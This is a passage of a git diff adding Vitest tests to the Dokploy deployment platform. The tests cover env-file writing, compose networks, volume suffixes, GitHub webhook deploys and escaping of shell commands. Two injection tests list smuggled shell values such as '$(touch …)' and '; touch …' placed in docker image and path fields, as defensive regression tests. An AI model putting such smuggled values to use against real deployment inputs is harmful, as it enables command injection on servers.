suffix: "",
|
||||
serverId: null,
|
||||
environment: { project: { env: "" }, env: "" },
|
||||
} as Parameters<typeof getCreateEnvFileCommand>[0]);
|
||||
|
||||
execFileSync("bash", ["-c", command]);
|
||||
|
||||
const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys(
|
||||
cases,
|
||||
)
|
||||
.map((key) => ` - ${key}=\${${key}}`)
|
||||
.join("\n")}\n`;
|
||||
writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
|
||||
|
||||
const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
|
||||
|
||||
const out = execFileSync(
|
||||
"docker",
|
||||
["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
|
||||
{ cwd: codePath, encoding: "utf8" },
|
||||
);
|
||||
|
||||
const parts = out.split("\0");
|
||||
const actual: Record<string, string> = {};
|
||||
for (let i = 0; i < parts.length - 1; i += 2) {
|
||||
actual[parts[i] as string] = parts[i + 1] as string;
|
||||
}
|
||||
|
||||
for (const [key, value] of Object.entries(cases)) {
|
||||
expect(actual[key], key).toBe(value);
|
||||
}
|
||||
}, 60000);
|
||||
});
|
||||
45
apps/dokploy/__test__/compose/env-file-preserved.test.ts
Normal file
45
apps/dokploy/__test__/compose/env-file-preserved.test.ts
Normal file
@ -0,0 +1,45 @@
|
||||
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Compose now has a `createEnvFile` toggle (default true), mirroring the
|
||||
// Application builder's flag: when disabled, Dokploy never writes `.env`,
|
||||
// so a repo-tracked file survives untouched.
|
||||
vi.mock("@dokploy/server/utils/docker/domain", () => ({
|
||||
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
|
||||
}));
|
||||
|
||||
const baseCompose = {
|
||||
appName: "env-file-toggle",
|
||||
sourceType: "raw",
|
||||
command: "",
|
||||
composePath: "docker-compose.yml",
|
||||
composeType: "docker-compose",
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
serverId: null,
|
||||
env: "FOO=bar",
|
||||
mounts: [],
|
||||
domains: [],
|
||||
environment: { project: { env: "" }, env: "" },
|
||||
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
|
||||
|
||||
describe("getBuildComposeCommand createEnvFile toggle", () => {
|
||||
it("createEnvFile: false never writes the .env file", async () => {
|
||||
const command = await getBuildComposeCommand({
|
||||
...baseCompose,
|
||||
createEnvFile: false,
|
||||
});
|
||||
|
||||
expect(command).not.toContain("base64 -d >");
|
||||
});
|
||||
|
||||
it("createEnvFile: true (default) writes Dokploy's vars", async () => {
|
||||
const command = await getBuildComposeCommand({
|
||||
...baseCompose,
|
||||
createEnvFile: true,
|
||||
});
|
||||
|
||||
expect(command).toContain("base64 -d >");
|
||||
});
|
||||
});
|
||||
199
apps/dokploy/__test__/compose/network/service-networks.test.ts
Normal file
199
apps/dokploy/__test__/compose/network/service-networks.test.ts
Normal file
@ -0,0 +1,199 @@
|
||||
import type { Compose, ComposeSpecification } from "@dokploy/server";
|
||||
import {
|
||||
applyServiceNetworks,
|
||||
declareUsedNetworksInRoot,
|
||||
resolveServiceNetworks,
|
||||
} from "@dokploy/server";
|
||||
import { db } from "@dokploy/server/db";
|
||||
import { beforeEach, expect, test, type vi } from "vitest";
|
||||
import { parse } from "yaml";
|
||||
|
||||
const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
|
||||
|
||||
beforeEach(() => {
|
||||
findManyMock.mockReset();
|
||||
findManyMock.mockResolvedValue([]);
|
||||
});
|
||||
|
||||
const baseCompose = {
|
||||
serverId: null,
|
||||
isolatedDeployment: false,
|
||||
} as unknown as Compose;
|
||||
|
||||
const withServiceNetworks = (
|
||||
serviceNetworks: Compose["serviceNetworks"],
|
||||
): Compose => ({ ...baseCompose, serviceNetworks });
|
||||
|
||||
test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(result, withServiceNetworks([]));
|
||||
|
||||
expect(injected.size).toBe(0);
|
||||
expect(result.services?.web?.networks).toBeUndefined();
|
||||
expect(findManyMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
test("applyServiceNetworks: injects assigned network by networkId", async () => {
|
||||
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
|
||||
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(
|
||||
result,
|
||||
withServiceNetworks([
|
||||
{
|
||||
serviceName: "web",
|
||||
networkIds: ["net-1"],
|
||||
detachDokployNetwork: false,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
expect(injected.has("shared-net")).toBe(true);
|
||||
expect(result.services?.web?.networks).toContain("shared-net");
|
||||
});
|
||||
|
||||
test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
|
||||
const result = parse(`
|
||||
services:
|
||||
db:
|
||||
image: postgres
|
||||
networks:
|
||||
- dokploy-network
|
||||
- default
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(
|
||||
result,
|
||||
withServiceNetworks([
|
||||
{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
|
||||
]),
|
||||
);
|
||||
|
||||
expect(injected.size).toBe(0);
|
||||
expect(result.services?.db?.networks).not.toContain("dokploy-network");
|
||||
expect(result.services?.db?.networks).not.toContain("default");
|
||||
});
|
||||
|
||||
test("applyServiceNetworks: unknown networkId is skipped", async () => {
|
||||
findManyMock.mockResolvedValue([]);
|
||||
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(
|
||||
result,
|
||||
withServiceNetworks([
|
||||
{
|
||||
serviceName: "web",
|
||||
networkIds: ["missing"],
|
||||
detachDokployNetwork: false,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
expect(injected.size).toBe(0);
|
||||
});
|
||||
|
||||
test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
|
||||
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
|
||||
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(
|
||||
result,
|
||||
withServiceNetworks([
|
||||
{
|
||||
serviceName: "ghost",
|
||||
networkIds: ["net-1"],
|
||||
detachDokployNetwork: false,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
expect(injected.size).toBe(0);
|
||||
expect(result.services?.web?.networks).toBeUndefined();
|
||||
});
|
||||
|
||||
test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
|
||||
const used = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
networks:
|
||||
- dokploy-network
|
||||
`) as ComposeSpecification;
|
||||
declareUsedNetworksInRoot(used, new Set());
|
||||
expect(used.networks).toHaveProperty("dokploy-network");
|
||||
|
||||
const unused = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
networks:
|
||||
- default
|
||||
`) as ComposeSpecification;
|
||||
declareUsedNetworksInRoot(unused, new Set());
|
||||
expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
|
||||
});
|
||||
|
||||
test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
networks:
|
||||
- shared-net
|
||||
`) as ComposeSpecification;
|
||||
|
||||
declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
|
||||
|
||||
expect(result.networks).toHaveProperty("shared-net");
|
||||
expect(result.networks ?? {}).not.toHaveProperty("unused-net");
|
||||
});
|
||||
|
||||
test("resolveServiceNetworks: returns dokploy-network by default", async () => {
|
||||
const resolved = await resolveServiceNetworks({});
|
||||
expect(resolved).toEqual([{ Target: "dokploy-network" }]);
|
||||
expect(findManyMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
|
||||
const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
|
||||
expect(resolved).toEqual([]);
|
||||
});
|
||||
|
||||
test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
|
||||
findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
|
||||
|
||||
const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
|
||||
|
||||
expect(resolved).toEqual([
|
||||
{ Target: "dokploy-network" },
|
||||
{ Target: "overlay-a" },
|
||||
]);
|
||||
});
|
||||
|
||||
test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
|
||||
const override = [{ Target: "custom-net" }];
|
||||
const resolved = await resolveServiceNetworks({ networkSwarm: override });
|
||||
|
||||
expect(resolved).toBe(override);
|
||||
expect(findManyMock).not.toHaveBeenCalled();
|
||||
});
|
||||
@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => {
|
||||
);
|
||||
});
|
||||
|
||||
const composeFileAccessMode = `
|
||||
version: "3.8"
|
||||
|
||||
services:
|
||||
web:
|
||||
image: nginx:alpine
|
||||
volumes:
|
||||
- web_config:/etc/nginx/conf.d:ro
|
||||
- certs/sub:/etc/certs:Z
|
||||
`;
|
||||
|
||||
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
|
||||
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
|
||||
|
||||
const suffix = generateRandomHash();
|
||||
|
||||
if (!composeData.services) {
|
||||
return;
|
||||
}
|
||||
|
||||
const updatedComposeData = addSuffixToVolumesInServices(
|
||||
composeData.services,
|
||||
suffix,
|
||||
);
|
||||
|
||||
expect(updatedComposeData.web?.volumes).toContain(
|
||||
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
|
||||
);
|
||||
expect(updatedComposeData.web?.volumes).toContain(
|
||||
`certs-${suffix}/sub:/etc/certs:Z`,
|
||||
);
|
||||
});
|
||||
|
||||
const composeFileTypeVolume = `
|
||||
version: "3.8"
|
||||
|
||||
|
||||
@ -0,0 +1,41 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
|
||||
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
|
||||
// path. `docker` is replaced by `:` so only the injection surface is exercised.
|
||||
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
|
||||
|
||||
const PAYLOADS = [
|
||||
"$(touch %MARK%)",
|
||||
"`touch %MARK%`",
|
||||
"redis:7; touch %MARK%",
|
||||
"redis:7 && touch %MARK%",
|
||||
"redis:7 | touch %MARK%",
|
||||
];
|
||||
|
||||
describe("database service dockerImage command injection", () => {
|
||||
it("does not execute injected commands from dockerImage", () => {
|
||||
for (const template of PAYLOADS) {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
const dockerImage = template.replace("%MARK%", MARK);
|
||||
const command = `: pull ${quote([dockerImage])}`;
|
||||
try {
|
||||
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {}
|
||||
expect(existsSync(MARK)).toBe(false);
|
||||
}
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
});
|
||||
|
||||
it("keeps a legitimate image tag intact", () => {
|
||||
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
|
||||
"postgres:16.4-alpine",
|
||||
]);
|
||||
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
|
||||
"ghcr.io/org/db:latest",
|
||||
]);
|
||||
});
|
||||
});
|
||||
66
apps/dokploy/__test__/deploy/docker-build-injection.test.ts
Normal file
66
apps/dokploy/__test__/deploy/docker-build-injection.test.ts
Normal file
@ -0,0 +1,66 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
|
||||
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
|
||||
// test exercises only the injection surface, not real docker.
|
||||
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
|
||||
|
||||
const runAndCheckSafe = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
try {
|
||||
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {
|
||||
// no-op stand-ins may exit non-zero; only the marker matters.
|
||||
}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
const PAYLOADS = [
|
||||
"$(touch %MARK%)",
|
||||
"`touch %MARK%`",
|
||||
"x; touch %MARK%",
|
||||
"x && touch %MARK%",
|
||||
"x | touch %MARK%",
|
||||
];
|
||||
|
||||
describe("docker build/pull command injection", () => {
|
||||
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const dockerImage = p.replace("%MARK%", MARK);
|
||||
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
|
||||
expect(runAndCheckSafe(command)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("dockerContextPath (docker-file: cd) is escaped", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const dockerContextPath = p.replace("%MARK%", MARK);
|
||||
const command = `: cd ${quote([dockerContextPath])}`;
|
||||
expect(runAndCheckSafe(command)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const publishDirectory = p.replace("%MARK%", MARK);
|
||||
const containerId = "buildabc";
|
||||
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
|
||||
expect(runAndCheckSafe(command)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps a legitimate image / path intact as a single token", () => {
|
||||
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
|
||||
// the result back to exactly the original single token.
|
||||
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
|
||||
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
|
||||
"registry.io/team/app:tag",
|
||||
]);
|
||||
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
|
||||
});
|
||||
});
|
||||
@ -0,0 +1,43 @@
|
||||
import { execFileSync } from "node:child_process";
|
||||
import { mkdirSync, readFileSync, rmSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
|
||||
import { parse } from "dotenv";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
|
||||
// Unlike compose's .env, this one is read by the app's own build tooling
|
||||
// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
|
||||
const appName = `env-file-literals-dockerfile-${process.pid}`;
|
||||
const projectPath = join(process.cwd(), ".docker", "compose", appName);
|
||||
const codePath = join(projectPath, "code");
|
||||
const dockerFilePath = join(codePath, "Dockerfile");
|
||||
|
||||
afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
|
||||
|
||||
const cases: Record<string, string> = {
|
||||
PASSWORD: "pa$$word",
|
||||
NESTED_JSON: '{"nested":{"a":1}}',
|
||||
QUOTE_INSIDE: 'she said "hi"',
|
||||
BACKSLASH: "back\\slash",
|
||||
UNICODE: "héllo wörld 日本語 🚀",
|
||||
};
|
||||
|
||||
describe("createEnvFileCommand", () => {
|
||||
it("writes special environment values that a generic dotenv parser reads back literally", () => {
|
||||
mkdirSync(codePath, { recursive: true });
|
||||
|
||||
const serviceEnv = Object.entries(cases)
|
||||
.map(([key, value]) => `${key}=${value}`)
|
||||
.join("\n");
|
||||
|
||||
const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
|
||||
execFileSync("bash", ["-c", command]);
|
||||
|
||||
const written = readFileSync(join(codePath, ".env"), "utf8");
|
||||
const parsed = parse(written);
|
||||
|
||||
for (const [key, value] of Object.entries(cases)) {
|
||||
expect(parsed[key], key).toBe(value);
|
||||
}
|
||||
});
|
||||
});
|
||||
480
apps/dokploy/__test__/deploy/github-webhook-handler.test.ts
Normal file
480
apps/dokploy/__test__/deploy/github-webhook-handler.test.ts
Normal file
@ -0,0 +1,480 @@
|
||||
import type { NextApiRequest, NextApiResponse } from "next";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
eq: vi.fn((field: string, value: unknown) => ({ field, value })),
|
||||
and: vi.fn((...conditions: Array<{ field: string; value: unknown }>) => ({
|
||||
conditions,
|
||||
})),
|
||||
githubFindFirst: vi.fn(),
|
||||
applicationsFindMany: vi.fn(),
|
||||
composeFindMany: vi.fn(),
|
||||
queueAdd: vi.fn(),
|
||||
verify: vi.fn(),
|
||||
shouldDeploy: vi.fn(),
|
||||
createPreviewDeployment: vi.fn(),
|
||||
findPreviewDeploymentByApplicationId: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("drizzle-orm", () => ({
|
||||
eq: mocks.eq,
|
||||
and: mocks.and,
|
||||
}));
|
||||
|
||||
vi.mock("@/server/db/schema", () => ({
|
||||
applications: {
|
||||
sourceType: "application.sourceType",
|
||||
autoDeploy: "application.autoDeploy",
|
||||
triggerType: "application.triggerType",
|
||||
branch: "application.branch",
|
||||
repository: "application.repository",
|
||||
owner: "application.owner",
|
||||
githubId: "application.githubId",
|
||||
isPreviewDeploymentsActive: "application.isPreviewDeploymentsActive",
|
||||
},
|
||||
compose: {
|
||||
sourceType: "compose.sourceType",
|
||||
autoDeploy: "compose.autoDeploy",
|
||||
triggerType: "compose.triggerType",
|
||||
branch: "compose.branch",
|
||||
repository: "compose.repository",
|
||||
owner: "compose.owner",
|
||||
githubId: "compose.githubId",
|
||||
},
|
||||
github: {
|
||||
githubInstallationId: "github.githubInstallationId",
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
github: {
|
||||
findFirst: mocks.githubFindFirst,
|
||||
},
|
||||
applications: {
|
||||
findMany: mocks.applicationsFindMany,
|
||||
},
|
||||
compose: {
|
||||
findMany: mocks.composeFindMany,
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server", () => ({
|
||||
IS_CLOUD: false,
|
||||
shouldDeploy: mocks.shouldDeploy,
|
||||
checkUserRepositoryPermissions: vi.fn(),
|
||||
createPreviewDeployment: mocks.createPreviewDeployment,
|
||||
createSecurityBlockedComment: vi.fn(),
|
||||
findGithubById: vi.fn(),
|
||||
findPreviewDeploymentByApplicationId:
|
||||
mocks.findPreviewDeploymentByApplicationId,
|
||||
findPreviewDeploymentsByPullRequestId: vi.fn(),
|
||||
getBitbucketHeaders: vi.fn(() => ({})),
|
||||
removePreviewDeployment: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@octokit/webhooks", () => ({
|
||||
Webhooks: vi.fn().mockImplementation(function Webhooks() {
|
||||
return {
|
||||
verify: mocks.verify,
|
||||
};
|
||||
}),
|
||||
}));
|
||||
|
||||
vi.mock("@/server/queues/queueSetup", () => ({
|
||||
myQueue: {
|
||||
add: mocks.queueAdd,
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("@/server/utils/deploy", () => ({
|
||||
deploy: vi.fn(),
|
||||
}));
|
||||
|
||||
import handler from "@/pages/api/deploy/github";
|
||||
|
||||
const getConditionValue = (
|
||||
where: { conditions?: Array<{ field: string; value: unknown }> } | undefined,
|
||||
field: string,
|
||||
) => where?.conditions?.find((condition) => condition.field === field)?.value;
|
||||
|
||||
const createResponse = () => {
|
||||
const res = {
|
||||
status: vi.fn(),
|
||||
json: vi.fn(),
|
||||
} as unknown as NextApiResponse & {
|
||||
status: ReturnType<typeof vi.fn>;
|
||||
json: ReturnType<typeof vi.fn>;
|
||||
};
|
||||
|
||||
res.status.mockImplementation(() => res);
|
||||
res.json.mockImplementation(() => res);
|
||||
|
||||
return res;
|
||||
};
|
||||
|
||||
const createPushRequest = (
|
||||
branch: string,
|
||||
owner: { login?: string; name?: string } = { login: "agentHits" },
|
||||
) =>
|
||||
({
|
||||
headers: {
|
||||
"x-hub-signature-256": "sha256=test-signature",
|
||||
"x-github-event": "push",
|
||||
},
|
||||
body: {
|
||||
installation: {
|
||||
id: 12345,
|
||||
},
|
||||
ref: `refs/heads/${branch}`,
|
||||
after: "abc123",
|
||||
head_commit: {
|
||||
message: "fix: trigger deployment",
|
||||
},
|
||||
commits: [
|
||||
{
|
||||
modified: ["src/index.ts"],
|
||||
},
|
||||
],
|
||||
repository: {
|
||||
name: "dokploy",
|
||||
full_name: "agentHits/dokploy",
|
||||
clone_url: "https://github.com/agentHits/dokploy.git",
|
||||
html_url: "https://github.com/agentHits/dokploy",
|
||||
owner,
|
||||
},
|
||||
},
|
||||
}) as unknown as NextApiRequest;
|
||||
|
||||
const createTagRequest = (tagName: string) => {
|
||||
const req = createPushRequest("main") as unknown as {
|
||||
body: { ref: string; head_commit: { message: string } };
|
||||
};
|
||||
|
||||
req.body.ref = `refs/tags/${tagName}`;
|
||||
req.body.head_commit.message = `release: ${tagName}`;
|
||||
|
||||
return req as unknown as NextApiRequest;
|
||||
};
|
||||
|
||||
describe("GitHub app webhook auto-deploy", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mocks.githubFindFirst.mockResolvedValue({
|
||||
githubId: "github-provider-id",
|
||||
githubInstallationId: 12345,
|
||||
githubWebhookSecret: "webhook-secret",
|
||||
});
|
||||
mocks.verify.mockResolvedValue(true);
|
||||
mocks.shouldDeploy.mockReturnValue(true);
|
||||
mocks.composeFindMany.mockResolvedValue([]);
|
||||
mocks.queueAdd.mockResolvedValue({ id: "job-id" });
|
||||
|
||||
mocks.applicationsFindMany.mockImplementation(({ where }) => {
|
||||
const matches =
|
||||
getConditionValue(where, "application.sourceType") === "github" &&
|
||||
getConditionValue(where, "application.autoDeploy") === true &&
|
||||
getConditionValue(where, "application.triggerType") === "push" &&
|
||||
getConditionValue(where, "application.branch") === "main" &&
|
||||
getConditionValue(where, "application.repository") === "dokploy" &&
|
||||
getConditionValue(where, "application.owner") === "agentHits" &&
|
||||
getConditionValue(where, "application.githubId") ===
|
||||
"github-provider-id";
|
||||
|
||||
return Promise.resolve(
|
||||
matches
|
||||
? [
|
||||
{
|
||||
applicationId: "application-id",
|
||||
serverId: null,
|
||||
watchPaths: null,
|
||||
},
|
||||
]
|
||||
: [],
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
it("matches push events using repository owner name when available", async () => {
|
||||
const res = createResponse();
|
||||
|
||||
await handler(
|
||||
createPushRequest("main", {
|
||||
login: "agentHits-login",
|
||||
name: "agentHits",
|
||||
}),
|
||||
res,
|
||||
);
|
||||
|
||||
expect(mocks.queueAdd).toHaveBeenCalledWith(
|
||||
"deployments",
|
||||
expect.objectContaining({
|
||||
applicationId: "application-id",
|
||||
applicationType: "application",
|
||||
type: "deploy",
|
||||
}),
|
||||
expect.objectContaining({
|
||||
removeOnComplete: true,
|
||||
removeOnFail: true,
|
||||
}),
|
||||
);
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
|
||||
});
|
||||
|
||||
it("matches compose push events using repository owner login fallback", async () => {
|
||||
mocks.applicationsFindMany.mockResolvedValue([]);
|
||||
mocks.composeFindMany.mockImplementation(({ where }) => {
|
||||
const matches =
|
||||
getConditionValue(where, "compose.sourceType") === "github" &&
|
||||
getConditionValue(where, "compose.autoDeploy") === true &&
|
||||
getConditionValue(where, "compose.triggerType") === "push" &&
|
||||
getConditionValue(where, "compose.branch") === "main" &&
|
||||
getConditionValue(where, "compose.repository") === "dokploy" &&
|
||||
getConditionValue(where, "compose.owner") === "agentHits" &&
|
||||
getConditionValue(where, "compose.githubId") === "github-provider-id";
|
||||
|
||||
return Promise.resolve(
|
||||
matches
|
||||
? [
|
||||
{
|
||||
composeId: "compose-id",
|
||||
serverId: null,
|
||||
watchPaths: null,
|
||||
},
|
||||
]
|
||||
: [],
|
||||
);
|
||||
});
|
||||
const res = createResponse();
|
||||
|
||||
await handler(createPushRequest("main"), res);
|
||||
|
||||
expect(mocks.queueAdd).toHaveBeenCalledWith(
|
||||
"deployments",
|
||||
expect.objectContaining({
|
||||
applicationType: "compose",
|
||||
composeId: "compose-id",
|
||||
type: "deploy",
|
||||
}),
|
||||
expect.objectContaining({
|
||||
removeOnComplete: true,
|
||||
removeOnFail: true,
|
||||
}),
|
||||
);
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
|
||||
});
|
||||
|
||||
it("matches tag events using repository owner login fallback", async () => {
|
||||
mocks.applicationsFindMany.mockImplementation(({ where }) => {
|
||||
const matches =
|
||||
getConditionValue(where, "application.sourceType") === "github" &&
|
||||
getConditionValue(where, "application.autoDeploy") === true &&
|
||||
getConditionValue(where, "application.triggerType") === "tag" &&
|
||||
getConditionValue(where, "application.repository") === "dokploy" &&
|
||||
getConditionValue(where, "application.owner") === "agentHits" &&
|
||||
getConditionValue(where, "application.githubId") ===
|
||||
"github-provider-id";
|
||||
|
||||
return Promise.resolve(
|
||||
matches
|
||||
? [
|
||||
{
|
||||
applicationId: "application-id",
|
||||
serverId: null,
|
||||
},
|
||||
]
|
||||
: [],
|
||||
);
|
||||
});
|
||||
const res = createResponse();
|
||||
|
||||
await handler(createTagRequest("v1.0.0"), res);
|
||||
|
||||
expect(mocks.queueAdd).toHaveBeenCalledWith(
|
||||
"deployments",
|
||||
expect.objectContaining({
|
||||
applicationId: "application-id",
|
||||
applicationType: "application",
|
||||
titleLog: "Tag created: v1.0.0",
|
||||
type: "deploy",
|
||||
}),
|
||||
expect.objectContaining({
|
||||
removeOnComplete: true,
|
||||
removeOnFail: true,
|
||||
}),
|
||||
);
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
expect(res.json).toHaveBeenCalledWith({
|
||||
message: "Deployed 1 apps based on tag v1.0.0",
|
||||
});
|
||||
});
|
||||
|
||||
it("does not deploy when the pushed branch does not match", async () => {
|
||||
const res = createResponse();
|
||||
|
||||
await handler(createPushRequest("feature"), res);
|
||||
|
||||
expect(mocks.queueAdd).not.toHaveBeenCalled();
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("GitHub app webhook preview deployments", () => {
|
||||
const createApplication = (
|
||||
overrides: Record<string, unknown> = {},
|
||||
): Record<string, unknown> => ({
|
||||
applicationId: "application-id",
|
||||
name: "my-app",
|
||||
serverId: null,
|
||||
previewLabels: [],
|
||||
previewLimit: 3,
|
||||
previewDeployments: [],
|
||||
previewRequireCollaboratorPermissions: false,
|
||||
...overrides,
|
||||
});
|
||||
|
||||
const createPreviewDeployments = (total: number) =>
|
||||
Array.from({ length: total }, (_, index) => ({
|
||||
previewDeploymentId: `existing-preview-${index}`,
|
||||
}));
|
||||
|
||||
const createPullRequestRequest = (action: string) =>
|
||||
({
|
||||
headers: {
|
||||
"x-hub-signature-256": "sha256=test-signature",
|
||||
"x-github-event": "pull_request",
|
||||
},
|
||||
body: {
|
||||
installation: {
|
||||
id: 12345,
|
||||
},
|
||||
action,
|
||||
pull_request: {
|
||||
id: 987,
|
||||
number: 42,
|
||||
title: "feat: add preview",
|
||||
html_url: "https://github.com/agentHits/dokploy/pull/42",
|
||||
labels: [],
|
||||
user: {
|
||||
login: "agentHits",
|
||||
},
|
||||
head: {
|
||||
ref: "feature",
|
||||
sha: "abc123",
|
||||
},
|
||||
base: {
|
||||
ref: "main",
|
||||
},
|
||||
},
|
||||
repository: {
|
||||
name: "dokploy",
|
||||
owner: {
|
||||
login: "agentHits",
|
||||
},
|
||||
},
|
||||
},
|
||||
}) as unknown as NextApiRequest;
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mocks.githubFindFirst.mockResolvedValue({
|
||||
githubId: "github-provider-id",
|
||||
githubInstallationId: 12345,
|
||||
githubWebhookSecret: "webhook-secret",
|
||||
});
|
||||
mocks.verify.mockResolvedValue(true);
|
||||
mocks.queueAdd.mockResolvedValue({ id: "job-id" });
|
||||
mocks.createPreviewDeployment.mockResolvedValue({
|
||||
previewDeploymentId: "new-preview-id",
|
||||
});
|
||||
mocks.findPreviewDeploymentByApplicationId.mockResolvedValue(undefined);
|
||||
});
|
||||
|
||||
it("redeploys an existing preview even when the limit is reached", async () => {
|
||||
mocks.applicationsFindMany.mockResolvedValue([
|
||||
createApplication({
|
||||
previewLimit: 2,
|
||||
previewDeployments: createPreviewDeployments(3),
|
||||
}),
|
||||
]);
|
||||
mocks.findPreviewDeploymentByApplicationId.mockResolvedValue({
|
||||
previewDeploymentId: "existing-preview-0",
|
||||
});
|
||||
const res = createResponse();
|
||||
|
||||
